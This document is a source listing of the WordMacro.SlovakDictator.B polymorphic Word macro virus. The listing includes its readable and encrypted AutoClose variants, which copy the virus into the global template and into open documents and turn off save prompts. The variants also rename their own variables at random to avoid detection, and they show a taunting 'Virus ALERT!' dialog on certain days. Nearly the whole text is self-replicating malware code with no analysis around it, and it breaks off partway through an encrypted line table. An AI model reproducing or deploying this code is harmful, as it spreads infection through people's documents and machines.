MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub
Sub FlushAllTables
SLOW_B.MAC
Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function
Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
==============================================================================
Macro name: SlovakDictatorRESOURCEfinal [SLOVAKDICTATORRESOURCEFINAL] "U"
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)'MyVarI1
Dim Shared PolyNames
Sub MAIN
On Error Goto ErrorHandler
FixedConstant_0 = 0
FixedConstant_1 = 1
DisableInput FixedConstant_1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 38
SLOW_B.MAC
HiddenStart = 120
HiddenLines = 181
PolyNames = 31
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
Call InitializePolymorphTables
'//// begin of hidden part ////
ShowBox
CurFile$ = FileName$()
If CurFile$ = "" Then Goto ErrorHandler
If CheckInstalled(0) = 0 Then
Infect(1)
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0
Goto ErrorHandler
End If
If CheckInstalled(1) = 0 Then
Infect(3)
FileSave
End If
ErrorHandler:
End Sub
Sub ShowBox
ParlamentnyPuc = Day(Now())
If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then
Beep
Begin Dialog UserDialog 380, 224, "Virus ALERT!"
Text 28, 8, 349, 13, "You're infected by WordMacro.SlovakDictator.B virus", .Text1
Text 15, 28, 360, 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.00", .Text2
Text 145, 51, 123, 13, "Dis is Level 421", .Text3
Text 35, 73, 342, 13, "(c) 5-mar-97, Nasty Lamer && Ugly Luser, Slovakia", .Text4
Text 34, 98, 343, 13, "Dis is the first world true polymorphic macro virus !", .Text5
PushButton 120, 188, 147, 21, "Accept / Suhlas", .Push1
Text 100, 165, 228, 13, "Big fuck to the big boxer V.M.", .Text6
End Dialog
Dim dlg As UserDialog
Dialog(dlg)
End If
End Sub
Function CheckInstalled(j)
On Error Resume Next
CheckInstalled = 0
For i = 1 To CountMacros(j)
If MacroName$(i, j) = "AutoClose" Then CheckInstalled = 1
Next i
End Function
Sub Infect(WhatToInfect)
SaveWindowName$ = WindowName$()
ToolsMacro .Name = "AutoClose", .Show = WhatToInfect, .Edit
SLOW_B.MAC
EditClear - 20
'////
'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra
'//// viditelna cast - nemenit !
'////
For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPara : Next i
'////
'//// premenna i ide od riadkov "Sub OriginalMacroBody"+1
'//// az po "Sub InitializePolymorphTables"-1
'//// velmi pozorne urcit tieto konstanty !!!
'////
For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next i
EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase
= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,
.FindAllWordForms = 0
Sub OriginalMacroBody
'//// end of Hidden part ////
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines
SaveWindowName$ = WindowName$()
'MyVarI1
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
'MyVarI1
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1
FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$
Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
DisableInput FixedConstant_0
End Sub
Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
SLOW_B.MAC
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub
Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub
Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function
Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
Sub InitializePolymorphTables
==============================================================================
Macro name: AutoCloseEncrypted [AUTOCLOSEENCRYPTED] "U"
Encryption key: E0
------------------------------------------------------------------------------
Dim Shared JINQPQMFRTLHSQTNF
Dim Shared USBSNKAOFJNALCBMGVS
Dim Shared PJOKOJBSMPT
Dim Shared JBHBTPLCTCSFMPIOBES
Dim Shared NMGOJRIJSUESQUVB
Dim Shared ACRNIVGPSLPCFHO
Dim Shared KNLQVMEMFPQPEJTK
Dim Shared PGLJSTPUPTPNGROOLV
Dim Shared LLTDOPVPFRIM
Dim Shared UPENJTSLBNMLUIH
Dim Shared IMGSGFQRMNRKTMQ
Dim Shared OHIUCFVEUCFPIFVESEJ$(200)
Dim Shared TDRMLJCEKT
Dim Shared LJJVIBFHTOBT
Dim Shared BGUSBDDDIDM
Dim Shared PDDPUMDGDHTTSTG$(31)'FGQSLUSJEKSAE
Dim Shared LNEJMKPOJQKN
Sub MAIN
SLOW_B.MAC
GGDTNQQUHVFHJFR$ = WindowName$()
'FGQSLUSJEKSAE
ToolsMacro .Name = "GNQPDBMBJMU", .Show = USBSNKAOFJNALCBMGVS, .Edit
'FGQSLUSJEKSAE
EditClear - ACRNIVGPSLPCFHO
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To BGUSBDDDIDM : Insert OHIUCFVEUCFPIFVESEJ$(
FGQSLUSJEKSAE) : InsertPara : Next FGQSLUSJEKSAE
NNRFBRGQUGQU
TUVKBMMKQHICJLCHOI
DocClose USBSNKAOFJNALCBMGVS
Activate GGDTNQQUHVFHJFR$
Call GNQPDBMBJMU
ToolsMacro .Name = "GNQPDBMBJMU", .Show = USBSNKAOFJNALCBMGVS, .Delete
VVFLNFCKLQGHDTGM:
DisableAutoMacros JINQPQMFRTLHSQTNF
ScreenUpdating USBSNKAOFJNALCBMGVS
DisableInput JINQPQMFRTLHSQTNF
End Sub
Sub OOVQGUSBFLIEQCG
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To BGUSBDDDIDM
VFBJPMMFHHVDV$ = ""
LUQSSBMOBPDPEQPTBLA = Len(OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE))
For JRBFDDLKJSL = USBSNKAOFJNALCBMGVS To LUQSSBMOBPDPEQPTBLA
VFBJPMMFHHVDV$ = VFBJPMMFHHVDV$ + Chr$(Asc(Mid$(OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE),
JRBFDDLKJSL, USBSNKAOFJNALCBMGVS)) - IMGSGFQRMNRKTMQ)
Next JRBFDDLKJSL
OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE) = VFBJPMMFHHVDV$
Next FGQSLUSJEKSAE
SLOW_B.MAC
End Sub
Sub NNRFBRGQUGQU
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To BGUSBDDDIDM
Insert "OHIUCFVEUCFPIFVESEJ$(" + Str$(FGQSLUSJEKSAE) + ")=" + Chr$(LLTDOPVPFRIM) +
OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE) + Chr$(LLTDOPVPFRIM)
InsertPara
Next FGQSLUSJEKSAE
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To LNEJMKPOJQKN - USBSNKAOFJNALCBMGVS
Insert "PDDPUMDGDHTTSTG$(" + Str$(FGQSLUSJEKSAE) + ")=" + Chr$(LLTDOPVPFRIM) +
PDDPUMDGDHTTSTG$(FGQSLUSJEKSAE) + Chr$(LLTDOPVPFRIM)
InsertPara
Next FGQSLUSJEKSAE
End Sub
Function TQUJCUASMNBCNEDQNM$
VFBJPMMFHHVDV$ = ""
For FGQSLUSJEKSAE = USBSNKAOFJNALCBMGVS To NMGOJRIJSUESQUVB + Rnd() * NMGOJRIJSUESQUVB :
VFBJPMMFHHVDV$ = VFBJPMMFHHVDV$ + Chr$(Rnd() * KNLQVMEMFPQPEJTK + PGLJSTPUPTPNGROOLV) : Next
FGQSLUSJEKSAE
TQUJCUASMNBCNEDQNM$ = VFBJPMMFHHVDV$
End Function
Sub TUVKBMMKQHICJLCHOI
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To LNEJMKPOJQKN - USBSNKAOFJNALCBMGVS
EditReplace .Find = PDDPUMDGDHTTSTG$(FGQSLUSJEKSAE), .Replace = TQUJCUASMNBCNEDQNM$, .
Direction = JINQPQMFRTLHSQTNF, .MatchCase = USBSNKAOFJNALCBMGVS, .WholeWord =
JINQPQMFRTLHSQTNF, .PatternMatch = JINQPQMFRTLHSQTNF, .SoundsLike = JINQPQMFRTLHSQTNF, .
ReplaceAll, .Format = JINQPQMFRTLHSQTNF, .Wrap = USBSNKAOFJNALCBMGVS, .FindAllWordForms =
JINQPQMFRTLHSQTNF
Next FGQSLUSJEKSAE
End Sub
Sub OENCMISQTALHDC
IMGSGFQRMNRKTMQ = 4
OHIUCFVEUCFPIFVESEJ$(0) = "Hmq$Wlevih$NMRUTUQJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(1) = "Hmq$Wlevih$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(2) = "Hmq$Wlevih$TNSOSNFWQTX"
OHIUCFVEUCFPIFVESEJ$(3) = "Hmq$Wlevih$NFLFXTPGXGWJQTMSFIW"
OHIUCFVEUCFPIFVESEJ$(4) = "Hmq$Wlevih$RQKSNVMNWYIWUYZF"
OHIUCFVEUCFPIFVESEJ$(5) = "Hmq$Wlevih$EGVRMZKTWPTGJLS"
OHIUCFVEUCFPIFVESEJ$(6) = "Hmq$Wlevih$ORPUZQIQJTUTINXO"
OHIUCFVEUCFPIFVESEJ$(7) = "Hmq$Wlevih$TKPNWXTYTXTRKVSSPZ"
OHIUCFVEUCFPIFVESEJ$(8) = "Hmq$Wlevih$PPXHSTZTJVMQ"
OHIUCFVEUCFPIFVESEJ$(9) = "Hmq$Wlevih$YTIRNXWPFRQPYML"
OHIUCFVEUCFPIFVESEJ$(10) = "Hmq$Wlevih$MQKWKJUVQRVOXQU"
OHIUCFVEUCFPIFVESEJ$(11) = "Hmq$Wlevih$SLMYGJZIYGJTMJZIWIN(,644-"
OHIUCFVEUCFPIFVESEJ$(12) = "Hmq$Wlevih$XHVQPNGIOX"
OHIUCFVEUCFPIFVESEJ$(13) = "Hmq$Wlevih$PNNZMFJLXSFX"
OHIUCFVEUCFPIFVESEJ$(14) = "Hmq$Wlevih$FKYWFHHHMHQ"
OHIUCFVEUCFPIFVESEJ$(15) = "Hmq$Wlevih$THHTYQHKHLXXWXK(,75-+JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(16) = "Hmq$Wlevih$PRINQOTSNUOR"
OHIUCFVEUCFPIFVESEJ$(17) = ""
OHIUCFVEUCFPIFVESEJ$(18) = "Wyf$QEMR"
OHIUCFVEUCFPIFVESEJ$(19) = "Sr$Ivvsv$Ksxs$ZZJPRJGOPUKLHXKQ"
OHIUCFVEUCFPIFVESEJ$(20) = "NMRUTUQJVXPLWUXRJ$A$4"
OHIUCFVEUCFPIFVESEJ$(21) = "YWFWROESJNREPGFQKZW$A$5"
OHIUCFVEUCFPIFVESEJ$(22) = "HmwefpiMrtyx$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(23) = "TNSOSNFWQTX$A$6"
OHIUCFVEUCFPIFVESEJ$(24) = "NFLFXTPGXGWJQTMSFIW$A$;"
OHIUCFVEUCFPIFVESEJ$(25) = "RQKSNVMNWYIWUYZF$A$54"
OHIUCFVEUCFPIFVESEJ$(26) = "EGVRMZKTWPTGJLS$A$64"
SLOW_B.MAC
OHIUCFVEUCFPIFVESEJ$(27) = "ORPUZQIQJTUTINXO$A$66"
OHIUCFVEUCFPIFVESEJ$(28) = "TKPNWXTYTXTRKVSSPZ$A$:9"
OHIUCFVEUCFPIFVESEJ$(29) = "PPXHSTZTJVMQ$A$78"
OHIUCFVEUCFPIFVESEJ$(30) = "YTIRNXWPFRQPYML$A$:8"
OHIUCFVEUCFPIFVESEJ$(31) = "XHVQPNGIOX$A$7<"
OHIUCFVEUCFPIFVESEJ$(32) = "PNNZMFJLXSFX$A$564"
OHIUCFVEUCFPIFVESEJ$(33) = "FKYWFHHHMHQ$A$5<5"
OHIUCFVEUCFPIFVESEJ$(34) = "PRINQOTSNUOR$A$75"
OHIUCFVEUCFPIFVESEJ$(35) = "VFUWKNTPFUMU($A$EttMrjs(,TNSOSNFWQTX-"
OHIUCFVEUCFPIFVESEJ$(36) = "SNYISHWMMKRGL$A$Zep,Pijx(,VFUWKNTPFUMU(0$YWFWROESJNREPGFQKZW--"
OHIUCFVEUCFPIFVESEJ$(37) =
"Mj$SNYISHWMMKRGL$@B$NFLFXTPGXGWJQTMSFIW$Xlir$Ksxs$ZZJPRJGOPUKLHXKQ"
OHIUCFVEUCFPIFVESEJ$(38) = "Gepp$SIRGQMWUXEPLHG"
OHIUCFVEUCFPIFVESEJ$(39) = "+3333$fikmr$sj$lmhhir$tevx$3333"
OHIUCFVEUCFPIFVESEJ$(40) = "Wls{Fs|"
OHIUCFVEUCFPIFVESEJ$(41) = "GyvJmpi($A$JmpiReqi(,-"
OHIUCFVEUCFPIFVESEJ$(42) = "Mj$GyvJmpi($A$DDDD$Xlir$Ksxs$ZZJPRJGOPUKLHXKQ"
OHIUCFVEUCFPIFVESEJ$(43) = ""
OHIUCFVEUCFPIFVESEJ$(44) = "Mj$GligoMrwxeppih,4-$A$4$Xlir"
OHIUCFVEUCFPIFVESEJ$(45) = "Mrjigx,5-"
OHIUCFVEUCFPIFVESEJ$(46) = "XsspwStxmsrwWezi$2KpsfepHsxTvsqtx$A$40$2JewxWeziw$A$4"
OHIUCFVEUCFPIFVESEJ$(47) = "Ksxs$ZZJPRJGOPUKLHXKQ"
OHIUCFVEUCFPIFVESEJ$(48) = "Irh$Mj"
OHIUCFVEUCFPIFVESEJ$(49) = ""
OHIUCFVEUCFPIFVESEJ$(50) = "Hmq$hpk$Ew$JmpiWeziEw"
OHIUCFVEUCFPIFVESEJ$(51) = "KixGyvZepyiw$hpk"
OHIUCFVEUCFPIFVESEJ$(52) = "Mj$hpk2Jsvqex$A$4$Xlir"
OHIUCFVEUCFPIFVESEJ$(53) = "hpk2Jsvqex$A$5"
OHIUCFVEUCFPIFVESEJ$(54) = "JmpiWeziEw$hpk"
OHIUCFVEUCFPIFVESEJ$(55) = "Irh$Mj"
OHIUCFVEUCFPIFVESEJ$(56) = ""
OHIUCFVEUCFPIFVESEJ$(57) = "Mj$GligoMrwxeppih,5-$A$4$Xlir"
OHIUCFVEUCFPIFVESEJ$(58) = "Mrjigx,7-"
OHIUCFVEUCFPIFVESEJ$(59) = "JmpiWezi"
OHIUCFVEUCFPIFVESEJ$(60) = "Irh$Mj"
OHIUCFVEUCFPIFVESEJ$(61) = ""
OHIUCFVEUCFPIFVESEJ$(62) = "ZZJPRJGOPUKLHXKQ>"
OHIUCFVEUCFPIFVESEJ$(63) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(64) = ""
OHIUCFVEUCFPIFVESEJ$(65) = "Wyf$Wls{Fs|"
OHIUCFVEUCFPIFVESEJ$(66) = "Tevpeqirxr}Tyg$A$He},Rs{,--"
OHIUCFVEUCFPIFVESEJ$(67) = "Mj$Tevpeqirxr}Tyg$A$8$Sv$Tevpeqirxr}Tyg$A$55$Xlir"
OHIUCFVEUCFPIFVESEJ$(68) = "Fiit"
OHIUCFVEUCFPIFVESEJ$(69) = "Fikmr$Hmepsk$YwivHmepsk$7<40$6680$DDZmvyw$EPIVX%DD"
OHIUCFVEUCFPIFVESEJ$(70) =
"Xi|x$6<0$<0$78=0$570$DD]sy+vi$mrjigxih$f}$[svhQegvs2WpszeoHmgxexsv2F$zmvywDD0$2Xi|x5"
OHIUCFVEUCFPIFVESEJ$(71) =
"Xi|x$590$6<0$7:40$570$DD[ipgsqi$xs$xli$PQI$,Peqiv+w$Qegvs$Irkmri-$ziv2$5244DD0$2Xi|x6"
OHIUCFVEUCFPIFVESEJ$(72) = "Xi|x$5890$950$5670$570$DDHmw$mw$Pizip$865DD0$2Xi|x7"
OHIUCFVEUCFPIFVESEJ$(73) =
"Xi|x$790$;70$7860$570$DD,g-$91qev1=;0$Rewx}$Peqiv$**$Ykp}$Pywiv0$WpszeomeDD0$2Xi|x8"
OHIUCFVEUCFPIFVESEJ$(74) =
"Xi|x$780$=<0$7870$570$DDHmw$mw$xli$jmvwx${svph$xvyi$tsp}qsvtlmg$qegvs$zmvyw$%DD0$2Xi|x9"
OHIUCFVEUCFPIFVESEJ$(75) = "TywlFyxxsr$5640$5<<0$58;0$650$DDEggitx$3$WylpewDD0$2Tywl5"
OHIUCFVEUCFPIFVESEJ$(76) =
"Xi|x$5440$5:90$66<0$570$DDFmk$jygo$xs$xli$fmk$fs|iv$Z2Q2DD0$2Xi|x:"
OHIUCFVEUCFPIFVESEJ$(77) = "Irh$Hmepsk"
OHIUCFVEUCFPIFVESEJ$(78) = "Hmq$hpk$Ew$YwivHmepsk"
OHIUCFVEUCFPIFVESEJ$(79) = "Hmepsk,hpk-"
OHIUCFVEUCFPIFVESEJ$(80) = "Irh$Mj"
OHIUCFVEUCFPIFVESEJ$(81) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(82) = ""
SLOW_B.MAC
OHIUCFVEUCFPIFVESEJ$(83) = "Jyrgxmsr$GligoMrwxeppih,n-"
OHIUCFVEUCFPIFVESEJ$(84) = "Sr$Ivvsv$Viwyqi$Ri|x"
OHIUCFVEUCFPIFVESEJ$(85) = "GligoMrwxeppih$A$4"
OHIUCFVEUCFPIFVESEJ$(86) = "Jsv$m$A$5$Xs$GsyrxQegvsw,n-"
OHIUCFVEUCFPIFVESEJ$(87) = "Mj$QegvsReqi(,m0$n-$A$DDEyxsGpswiDD$Xlir$GligoMrwxeppih$A$5"
OHIUCFVEUCFPIFVESEJ$(88) = "Ri|x$m"
OHIUCFVEUCFPIFVESEJ$(89) = "Irh$Jyrgxmsr"
OHIUCFVEUCFPIFVESEJ$(90) = ""
OHIUCFVEUCFPIFVESEJ$(91) = "Wyf$Mrjigx,[lexXsMrjigx-"
OHIUCFVEUCFPIFVESEJ$(92) = "KKHXRUUYLZJLNJV($A$[mrhs{Reqi(,-"
OHIUCFVEUCFPIFVESEJ$(93) = "XsspwQegvs$2Reqi$A$DDEyxsGpswiDD0$2Wls{$A$[lexXsMrjigx0$2Ihmx"
OHIUCFVEUCFPIFVESEJ$(94) = "IhmxGpiev$1$64"
OHIUCFVEUCFPIFVESEJ$(95) = ""
OHIUCFVEUCFPIFVESEJ$(96) = "+3333"
OHIUCFVEUCFPIFVESEJ$(97) = "+3333$Zps~irmi$tvz}gl$XHVQPNGIOX$vmehosz$oshy$qeove"
OHIUCFVEUCFPIFVESEJ$(98) = "+3333$zmhmxipre$gewx$1$riqirmx$%"
OHIUCFVEUCFPIFVESEJ$(99) = "+3333"
OHIUCFVEUCFPIFVESEJ$(100) =
"Jsv$m$A$4$Xs$XHVQPNGIOX$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,m-$>$MrwivxTeve$>$Ri|x$m"
OHIUCFVEUCFPIFVESEJ$(101) = "+3333"
OHIUCFVEUCFPIFVESEJ$(102) = "+3333$tviqirre$m$mhi$sh$vmehosz$DDWyf$SvmkmrepQegvsFsh}DD/5"
OHIUCFVEUCFPIFVESEJ$(103) = "+3333$e~$ts$DDWyf$SIRGQMWUXEPLHGDD15"
OHIUCFVEUCFPIFVESEJ$(104) = "+3333$zipqm$ts~svri$yvgmx$xmixs$osrwxerx}$%%%"
OHIUCFVEUCFPIFVESEJ$(105) = "+3333"
OHIUCFVEUCFPIFVESEJ$(106) =
"Jsv$m$A$PNNZMFJLXSFX$Xs$FKYWFHHHMHQ$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,m-$>$MrwivxTeve$>$Ri|x$m"
OHIUCFVEUCFPIFVESEJ$(107) =
"IhmxVitpegi$2Jmrh$A$Glv(,:8-$/$Glv(,:8-0$2Vitpegi$A$Glv(,78-0$2Hmvigxmsr$A$40$2QexglGewi$A$50
$2[lspi[svh$A$40$2TexxivrQexgl$A$40$2WsyrhwPmoi$A$40$2VitpegiEpp0$2Jsvqex$A$40$2[vet$A$50$2Jmr
hEpp[svhJsvqw$A$4"
OHIUCFVEUCFPIFVESEJ$(108) = ""
OHIUCFVEUCFPIFVESEJ$(109) = "MQKWKJUVQRVOXQU$A$1$Mrx,,8$/$Vrh,-$.$54--"
OHIUCFVEUCFPIFVESEJ$(110) = "Gepp$SSZUKYWFJPMIUGK"
OHIUCFVEUCFPIFVESEJ$(111) = "Mrwivx$DDMQKWKJUVQRVOXQU$A$DD$/$Wxv(,1$MQKWKJUVQRVOXQU-"
OHIUCFVEUCFPIFVESEJ$(112) = "MrwivxTeve"
OHIUCFVEUCFPIFVESEJ$(113) = "RRVJFVKUYKUY"
OHIUCFVEUCFPIFVESEJ$(114) = "HsgGpswi$5"
OHIUCFVEUCFPIFVESEJ$(115) = "Egxmzexi$KKHXRUUYLZJLNJV("
OHIUCFVEUCFPIFVESEJ$(116) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(117) = ""
OHIUCFVEUCFPIFVESEJ$(118) = "Wyf$SvmkmrepQegvsFsh}"
OHIUCFVEUCFPIFVESEJ$(119) = "+3333$irh$sj$Lmhhir$tevx$3333"
OHIUCFVEUCFPIFVESEJ$(120) = "WgviirYthexmrk$NMRUTUQJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(121) = "HmwefpiEyxsQegvsw$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(122) = "SSZUKYWFJPMIUGK"
OHIUCFVEUCFPIFVESEJ$(123) = ""
OHIUCFVEUCFPIFVESEJ$(124) = "KKHXRUUYLZJLNJV($A$[mrhs{Reqi(,-"
OHIUCFVEUCFPIFVESEJ$(125) = "+JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(126) =
"XsspwQegvs$2Reqi$A$DDKRUTHFQFNQYDD0$2Wls{$A$YWFWROESJNREPGFQKZW0$2Ihmx"
OHIUCFVEUCFPIFVESEJ$(127) = "+JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(128) = "IhmxGpiev$1$EGVRMZKTWPTGJLS"
OHIUCFVEUCFPIFVESEJ$(129) =
"Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIO
WEI-$>$MrwivxTeve$>$Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(130) = ""
OHIUCFVEUCFPIFVESEJ$(131) =
"IhmxVitpegi$2Jmrh$A$Glv(,YTIRNXWPFRQPYML-$/$Glv(,YTIRNXWPFRQPYML-0$2Vitpegi$A$Glv(,PPXHSTZTJV
MQ-0$2Hmvigxmsr$A$NMRUTUQJVXPLWUXRJ0$2QexglGewi$A$YWFWROESJNREPGFQKZW0$2[lspi[svh$A$NMRUTUQJVX
PLWUXRJ0$2TexxivrQexgl$A$NMRUTUQJVXPLWUXRJ0$2WsyrhwPmoi$A$NMRUTUQJVX" +
"PLWUXRJ0$2VitpegiEpp0$2Jsvqex$A$NMRUTUQJVXPLWUXRJ0$2[vet$A$YWFWROESJNREPGFQKZW0$2JmrhEpp[svhJ
svqw$A$NMRUTUQJVXPLWUXRJ"
SLOW_B.MAC
OHIUCFVEUCFPIFVESEJ$(132) = ""
OHIUCFVEUCFPIFVESEJ$(133) = "RRVJFVKUYKUY"
OHIUCFVEUCFPIFVESEJ$(134) = "XYZOFQQOULMGNPGLSM"
OHIUCFVEUCFPIFVESEJ$(135) = "HsgGpswi$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(136) = "Egxmzexi$KKHXRUUYLZJLNJV("
OHIUCFVEUCFPIFVESEJ$(137) = ""
OHIUCFVEUCFPIFVESEJ$(138) = "Gepp$KRUTHFQFNQY"
OHIUCFVEUCFPIFVESEJ$(139) =
"XsspwQegvs$2Reqi$A$DDKRUTHFQFNQYDD0$2Wls{$A$YWFWROESJNREPGFQKZW0$2Hipixi"
OHIUCFVEUCFPIFVESEJ$(140) = ""
OHIUCFVEUCFPIFVESEJ$(141) = "ZZJPRJGOPUKLHXKQ>"
OHIUCFVEUCFPIFVESEJ$(142) = "HmwefpiEyxsQegvsw$NMRUTUQJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(143) = "WgviirYthexmrk$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(144) = "HmwefpiMrtyx$NMRUTUQJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(145) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(146) = ""
OHIUCFVEUCFPIFVESEJ$(147) = "Wyf$SSZUKYWFJPMIUGK"
OHIUCFVEUCFPIFVESEJ$(148) = "Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ"
OHIUCFVEUCFPIFVESEJ$(149) = "ZJFNTQQJLLZHZ($A$DDDD"
OHIUCFVEUCFPIFVESEJ$(150) = "PYUWWFQSFTHTIUTXFPE$A$Pir,SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI--"
OHIUCFVEUCFPIFVESEJ$(151) = "Jsv$NVFJHHPONWP$A$YWFWROESJNREPGFQKZW$Xs$PYUWWFQSFTHTIUTXFPE"
OHIUCFVEUCFPIFVESEJ$(152) =
"ZJFNTQQJLLZHZ($A$ZJFNTQQJLLZHZ($/$Glv(,Ewg,Qmh(,SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI-0$NVFJHHPO
NWP0$YWFWROESJNREPGFQKZW--$1$MQKWKJUVQRVOXQU-"
OHIUCFVEUCFPIFVESEJ$(153) = "Ri|x$NVFJHHPONWP"
OHIUCFVEUCFPIFVESEJ$(154) = "SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI-$A$ZJFNTQQJLLZHZ("
OHIUCFVEUCFPIFVESEJ$(155) = "Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(156) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(157) = ""
OHIUCFVEUCFPIFVESEJ$(158) = "Wyf$RRVJFVKUYKUY"
OHIUCFVEUCFPIFVESEJ$(159) = "Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ"
OHIUCFVEUCFPIFVESEJ$(160) =
